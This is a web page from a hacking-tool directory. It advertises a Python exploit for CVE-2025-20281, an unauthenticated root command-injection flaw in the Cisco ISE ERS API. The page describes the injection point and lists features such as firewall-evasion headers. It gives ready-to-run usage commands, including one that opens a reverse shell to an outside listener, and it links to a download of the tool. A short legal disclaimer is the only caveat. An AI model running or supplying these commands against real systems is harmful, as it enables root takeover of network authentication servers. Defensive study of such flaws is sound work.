Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/ill-deed/cisco-cve-2025-20281-illdeed
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHubill-deed/cisco-cve-2025-20281-illdeed

Cisco-CVE-2025-20281-illdeed

Unauthenticated Remote Code Execution exploit for CVE-2025-20281 in Cisco ISE ERS API. Execute commands or launch reverse shells as root — no authentication required.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
521 year agoNot yet reviewed

CVE-2025-20281 — Cisco ISE ERS API Unauthenticated RCE Exploit

This repository contains a Python 3 proof-of-concept exploit for CVE-2025-20281, a critical vulnerability in Cisco Identity Services Engine (ISE) that allows unauthenticated remote code execution (RCE) as root via the ERS API.

🩻 Vulnerability Overview

The Cisco ISE ERS /ers/sdk#_ endpoint fails to validate authentication when processing user creation requests.
By injecting shell commands into the name parameter of the InternalUser object, attackers can achieve command execution as root.

  • CVE ID: CVE-2025-20281
  • Affected: Cisco ISE PAN (Policy Admin Node) with ERS enabled
  • Severity: Critical (CVSS 9.8)
  • Authentication: None required

⚙️ Features

  • ✅ Run arbitrary commands (--cmd)
  • ✅ Quick test with --whoami
  • ✅ Launch reverse shells (--reverse)
  • ✅ No authentication or session token required
  • ✅ SSL warning suppression and clean output
  • ✅ Legitimate headers to bypass simple WAFs

🚀 Usage

root@kitploit:~
python3 CVE-2025-20281.py TARGET [--whoami | --cmd "id" | --reverse LHOST LPORT]

Examples

Test command:

root@kitploit:~
python3 CVE-2025-20281.py 192.168.1.10 --whoami

Run custom command:

root@kitploit:~
python3 CVE-2025-20281.py 192.168.1.10 --cmd "id && hostname"

Reverse shell:

root@kitploit:~
python3 CVE-2025-20281.py 192.168.1.10 --reverse 10.10.14.99 4444

⚠️ Legal Disclaimer

This code is provided for educational and authorized testing purposes only. Do not use this software against networks or systems you do not own or have permission to test.

🙏 Credits

Vulnerability: Disclosed via Cisco advisory

PoC Refactor: illdeed

Download Tool